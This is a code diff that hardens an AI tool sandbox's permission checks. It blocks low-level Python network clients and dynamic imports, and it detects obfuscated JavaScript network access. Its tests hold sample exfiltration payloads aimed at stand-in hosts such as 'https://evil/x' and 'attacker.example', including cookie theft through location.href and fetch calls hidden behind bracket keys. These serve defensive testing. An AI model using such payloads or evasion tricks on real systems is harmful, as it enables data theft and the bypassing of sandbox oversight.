Studio: harden auto permission network gates

studio/backend/core/inference/tools.py

@@ -552,6 +552,10 @@ def _token_basename(tok: str) -> str:
     re.IGNORECASE,
 )
 
+# Low-level clients bypass the sandbox host scanner, so sandboxed Python blocks
+# them and auto mode asks before they can run.
+_SANDBOX_BLOCKED_NETWORK_MODULES = frozenset({"httpcore", "boto3", "botocore"})
+
 # Python: modules whose import alone signals side effects auto mode should ask
 # about (process spawning, network, bulk file ops, low-level memory).
 _AUTO_UNSAFE_PY_MODULES = frozenset(
@@ -605,6 +609,7 @@ def _token_basename(tok: str) -> str:
         "venv",
     }
 )
+_AUTO_UNSAFE_PY_MODULES |= _SANDBOX_BLOCKED_NETWORK_MODULES
 # Attribute calls that mutate the filesystem / spawn processes (os.remove,
 # Path.write_text, sock.connect, ...) regardless of how the module was bound.
 _AUTO_UNSAFE_PY_ATTRS = frozenset(
@@ -2403,21 +2408,14 @@ def walk(value) -> bool:
     r"@import|"
     r"url\(\s*[\"']?\s*(?:https?:|/)|"
     r"<script[^>]*\bsrc\s*=|"
-    r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
+    r"\b(?:src|href|srcset|action|formaction|poster|data|ping)\s*="
+    r"\s*[\"']?\s*(?:https?:|/)|"
     # Self-navigation sinks: location.assign/replace(...), window.open(...), and
     # assigning a URL to (window.)location(.href). location.reload()/history.back
     # do not navigate to a new URL, so they stay static.
     r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
     r"\bwindow\s*\.\s*open\s*\(|"
     r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
-    # Bracket-access obfuscation: window['fetch'](...), self["open"](...).
-    r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
-    r"sendBeacon|serviceWorker)[\"']\s*\]|"
-    # Computed bracket key spliced at runtime on a global host object
-    # (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
-    # index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
-    r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
-    r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
     # Declarative meta-refresh navigation to a URL (order-tolerant); a bare
     # content="30" self-reload has no url= and stays static.
     r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
@@ -2428,13 +2426,115 @@ def walk(value) -> bool:
 # matching. Line // comments are left alone -- stripping them would eat the // in
 # an https:// URL and hide a real load.
 _JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
+_RENDER_HTML_GLOBAL_BRACKET_RE = re.compile(
+    r"\b(?:window|self|globalThis|top|parent|frames)\s*\[([^\]]*)\]",
+    re.IGNORECASE | re.DOTALL,
+)
+_RENDER_HTML_SET_ATTRIBUTE_RE = re.compile(
+    r"""\.\s*setAttribute\s*\(\s*
+    (?P<quote>["'`])
+    (?P<attr>src|href|srcset|action|formaction|poster|data|ping)
+    (?P=quote)\s*,\s*(?P<value>[^)]*)\)""",
+    re.IGNORECASE | re.DOTALL | re.VERBOSE,
+)
+_RENDER_HTML_NETWORK_MEMBERS = frozenset(
+    {
+        "fetch",
+        "open",
+        "xmlhttprequest",
+        "websocket",
+        "eventsource",
+        "importscripts",
+        "sendbeacon",
+        "serviceworker",
+    }
+)
+
+
+def _leading_js_string(expression: str) -> tuple[str, int] | None:
+    """Return a leading JS string literal and its end offset."""
+    i = 0
+    while i < len(expression) and expression[i].isspace():
+        i += 1
+    if i >= len(expression) or expression[i] not in "\"'`":
+        return None
+    quote = expression[i]
+    i += 1
+    value: list[str] = []
+    while i < len(expression):
+        char = expression[i]
+        if char == "\\":
+            i += 1
+            if i >= len(expression):
+                return None
+            if expression[i] not in ("\\", '"', "'", "`"):
+                return None
+            value.append(expression[i])
+            i += 1
+            continue
+        if char == quote:
+            text = "".join(value)
+            if quote == "`" and "${" in text:
+                return None
+            return text, i + 1
+        value.append(char)
+        i += 1
+    return None
+
+
+def _static_js_string(expression: str) -> str | None:
+    """Fold a sequence of JS string literals joined with +."""
+    parts: list[str] = []
+    offset = 0
+    while True:
+        parsed = _leading_js_string(expression[offset:])
+        if parsed is None:
+            return None
+        value, end = parsed
+        parts.append(value)
+        offset += end
+        while offset < len(expression) and expression[offset].isspace():
+            offset += 1
+        if offset == len(expression):
+            return "".join(parts)
+        if expression[offset] != "+":
+            return None
+        offset += 1
+
+
+def _render_html_computed_network_access(code: str) -> bool:
+    for match in _RENDER_HTML_GLOBAL_BRACKET_RE.finditer(code):
+        expression = match.group(1)
+        member = _static_js_string(expression)
+        if member is not None:
+            if member.lower() in _RENDER_HTML_NETWORK_MEMBERS:
+                return True
+            continue
+        leading = _leading_js_string(expression)
+        if leading is not None:
+            member, end = leading
+            if member.lower() in _RENDER_HTML_NETWORK_MEMBERS and expression[
+                end:
+            ].lstrip().startswith("."):
+                return True
+        if not re.fullmatch(r"\s*\d+\s*", expression):
+            return True
+
+    for match in _RENDER_HTML_SET_ATTRIBUTE_RE.finditer(code):
+        value = _static_js_string(match.group("value"))
+        if value is None:
+            return True
+        if value.lstrip().lower().startswith(("http:", "https:", "/")):
+            return True
+    return False
 
 
 def _render_html_reaches_network(arguments: dict) -> bool:
     code = arguments.get("code")
     if not isinstance(code, str):
         return False
-    return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
+    code = _JS_BLOCK_COMMENT_RE.sub("", code)
+    return bool(_RENDER_HTML_NETWORK_RE.search(code) or _render_html_computed_network_access(code))
 
 
 # Tools that are read-only regardless of their arguments, so auto mode never has
@@ -5116,7 +5216,114 @@ def _hf_upload_violation(node: ast.Call, method_name: str) -> str | None:
         return None
 
     class NetworkAndIoVisitor(ast.NodeVisitor):
+        def __init__(self):
+            self.importlib_aliases = {"importlib"}
+            self.builtins_aliases = {"builtins", "__builtins__"}
+            self.import_loader_aliases = {"__import__"}
+            self.literal_strings: dict[str, str] = {}
+
+        def _block_low_level_network_module(self, module_name: str, node) -> None:
+            root = module_name.split(".", 1)[0]
+            if root not in _SANDBOX_BLOCKED_NETWORK_MODULES:
+                return
+            network_calls.append(
+                {
+                    "type": "low_level_network_module_blocked",
+                    "line": getattr(node, "lineno", -1),
+                    "description": (
+                        f"Blocked: low-level network module {root!r} is unavailable "
+                        "in sandboxed code"
+                    ),
+                }
+            )
+
+        def _static_string(self, node) -> str | None:
+            if isinstance(node, ast.Constant) and isinstance(node.value, str):
+                return node.value
+            if isinstance(node, ast.Name):
+                return self.literal_strings.get(node.id)
+            if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):
+                left = self._static_string(node.left)
+                right = self._static_string(node.right)
+                if left is not None and right is not None:
+                    return left + right
+            return None
+
+        def _is_import_loader(self, node) -> bool:
+            if isinstance(node, ast.Name):
+                return node.id in self.import_loader_aliases
+            if not isinstance(node, ast.Attribute) or not isinstance(node.value, ast.Name):
+                return False
+            if node.attr == "import_module":
+                return node.value.id in self.importlib_aliases
+            if node.attr == "__import__":
+                return node.value.id in self.builtins_aliases
+            return False
+
+        @staticmethod
+        def _target_names(node) -> list[str]:
+            if isinstance(node, ast.Name):
+                return [node.id]
+            if isinstance(node, (ast.Tuple, ast.List)):
+                names: list[str] = []
+                for item in node.elts:
+                    names.extend(NetworkAndIoVisitor._target_names(item))
+                return names
+            return []
+
+        def _bind_assignment(self, targets, value) -> None:
+            names: list[str] = []
+            for target in targets:
+                names.extend(self._target_names(target))
+            static_string = self._static_string(value)
+            for name in names:
+                if static_string is None:
+                    self.literal_strings.pop(name, None)
+                else:
+                    self.literal_strings[name] = static_string
+
+            if self._is_import_loader(value):
+                self.import_loader_aliases.update(names)
+            else:
+                self.import_loader_aliases.difference_update(names)
+            if isinstance(value, ast.Name) and value.id in self.importlib_aliases:
+                self.importlib_aliases.update(names)
+            if isinstance(value, ast.Name) and value.id in self.builtins_aliases:
+                self.builtins_aliases.update(names)
+
+        def visit_Import(self, node):
+            for alias in node.names:
+                self._block_low_level_network_module(alias.name, node)
+                if alias.name == "importlib":
+                    self.importlib_aliases.add(alias.asname or "importlib")
+                elif alias.name == "builtins":
+                    self.builtins_aliases.add(alias.asname or "builtins")
+
+        def visit_ImportFrom(self, node):
+            if node.module:
+                self._block_low_level_network_module(node.module, node)
+            for alias in node.names:
+                bound = alias.asname or alias.name
+                if node.module == "importlib" and alias.name == "import_module":
+                    self.import_loader_aliases.add(bound)
+                elif node.module == "builtins" and alias.name == "__import__":
+                    self.import_loader_aliases.add(bound)
+
+        def visit_Assign(self, node):
+            self._bind_assignment(node.targets, node.value)
+            self.generic_visit(node)
+
+        def visit_AnnAssign(self, node):
+            if node.value is not None:
+                self._bind_assignment([node.target], node.value)
+            self.generic_visit(node)
+
         def visit_Call(self, node):
+            if node.args and self._is_import_loader(node.func):
+                module_name = self._static_string(node.args[0])
+                if module_name is not None:
+                    self._block_low_level_network_module(module_name, node)
+
             parts: list[str] = []
             cur = node.func
             while isinstance(cur, ast.Attribute):

studio/backend/tests/test_permission_mode.py

@@ -926,6 +926,9 @@ def test_terminal_classifier(command, unsafe):
             "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
             True,
         ),  # bare-imported repo snapshot download
+        ("import httpcore\nhttpcore.request('GET', 'https://example.com')", True),
+        ("import boto3\nboto3.client('s3').list_buckets()", True),
+        ("from botocore.session import get_session\nget_session()", True),
         ("import statistics\nstatistics.mean([1, 2])", False),  # benign stdlib import stays safe
         # A concrete write callable handed to a user-defined helper that can
         # invoke it bypasses the direct open()/writer site, so it asks.
@@ -984,6 +987,10 @@ def rh(code):
     assert rh("<img srcset='https://evil/x.png 1x'>") is True
     assert rh("<img src='/api/leak?d=1'>") is True  # root-relative resolves to origin
     assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True  # protocol-relative
+    assert rh("<form action='https://evil/x' method='post'></form>") is True
+    assert rh("<video poster='https://evil/x.png'></video>") is True
+    assert rh("<object data='https://evil/x'></object>") is True
+    assert rh("<a ping='https://evil/x'>link</a>") is True
     # Self-navigation sinks exfiltrate by navigating the frame away.
     assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
     assert rh("<script>location.assign('https://x')</script>") is True
@@ -995,11 +1002,59 @@ def rh(code):
     # Obfuscated egress: a block comment splitting fetch(, or bracket access.
     assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
     assert rh("<script>window['fetch']('https://example.com')</script>") is True
+    assert rh("<script>window[`fetch`]('https://example.com')</script>") is True
+    assert rh("<script>window['fetch'.replace('x','x')]('https://x')</script>") is True
+    assert rh("<script>window['fetch'+suffix]('https://x')</script>") is True
+    assert rh("<script>window[key]('https://x')</script>") is True
+    assert rh("<script>frames[0]</script>") is False
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','https://evil/x')</script>"
+        )
+        is True
+    )
     # A computed bracket key spliced from string fragments on a global host object.
     assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
     assert rh("<script>self['open' + '']('https://x')</script>") is True
     # A computed key on a plain object (not a global host) stays a static canvas.
     assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
+    assert rh("<script>var o={}; o['fetch']=1</script>") is False
+    assert rh("<script>window['isFetching']=false</script>") is False
+    assert rh("<script>window['openState']=false</script>") is False
+    # Local and fragment setAttribute values do not leave the canvas.
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','./local.png')</script>"
+        )
+        is False
+    )
+    assert (
+        rh(
+            "<script>const a=document.createElement('a');"
+            "a.setAttribute('href','#section')</script>"
+        )
+        is False
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src',`data:image/png;base64,AA==`)</script>"
+        )
+        is False
+    )
+    assert (
+        rh(
+            "<script>const i=document.createElement('img');"
+            "i.setAttribute('src','/' + 'api/image')</script>"
+        )
+        is True
+    )
+    assert (
+        rh("<script>const i=document.createElement('img');i.setAttribute('src',source)</script>")
+        is True
+    )
     assert rh("<script>/* just a note */ var x = 1</script>") is False  # comment only
     # A meta-refresh with a url navigates the frame to an external origin.
     assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True

studio/backend/tests/test_sandbox_tools.py

@@ -121,6 +121,42 @@ def test_dynamic_url_not_statically_blocked(self):
         _ok('import requests; url = "https://example.com/"; requests.get(url)')
 
 
+class TestLowLevelNetworkModules:
+    @pytest.mark.parametrize(
+        "code",
+        [
+            'import httpcore; httpcore.request("GET", "https://example.com")',
+            'import boto3; boto3.client("s3").list_buckets()',
+            "from botocore.session import get_session; get_session()",
+            "m = __import__('boto3'); print(m.__name__)",
+            ("import importlib as il; m = il.import_module('http' + 'core'); print(m.__name__)"),
+            (
+                "from importlib import import_module as load; "
+                "name = 'botocore.session'; print(load(name).__name__)"
+            ),
+            (
+                "from builtins import __import__ as load; "
+                "loader = load; print(loader('boto3').__name__)"
+            ),
+        ],
+    )
+    def test_low_level_client_blocked(self, code):
+        _blocked(code, expect_phrase = "Blocked: low-level network module")
+
+    @pytest.mark.parametrize(
+        "code",
+        [
+            "m = __import__('statistics'); print(m.mean([1, 2]))",
+            (
+                "from importlib import import_module as load; "
+                "print(load('statistics').mean([1, 2]))"
+            ),
+        ],
+    )
+    def test_other_dynamic_imports_stay_available(self, code):
+        _ok(code)
+
+
 class TestHostNormalization:
     def test_trailing_dot_treated_same(self):
         _ok('import requests; requests.get("https://wikipedia.org./")')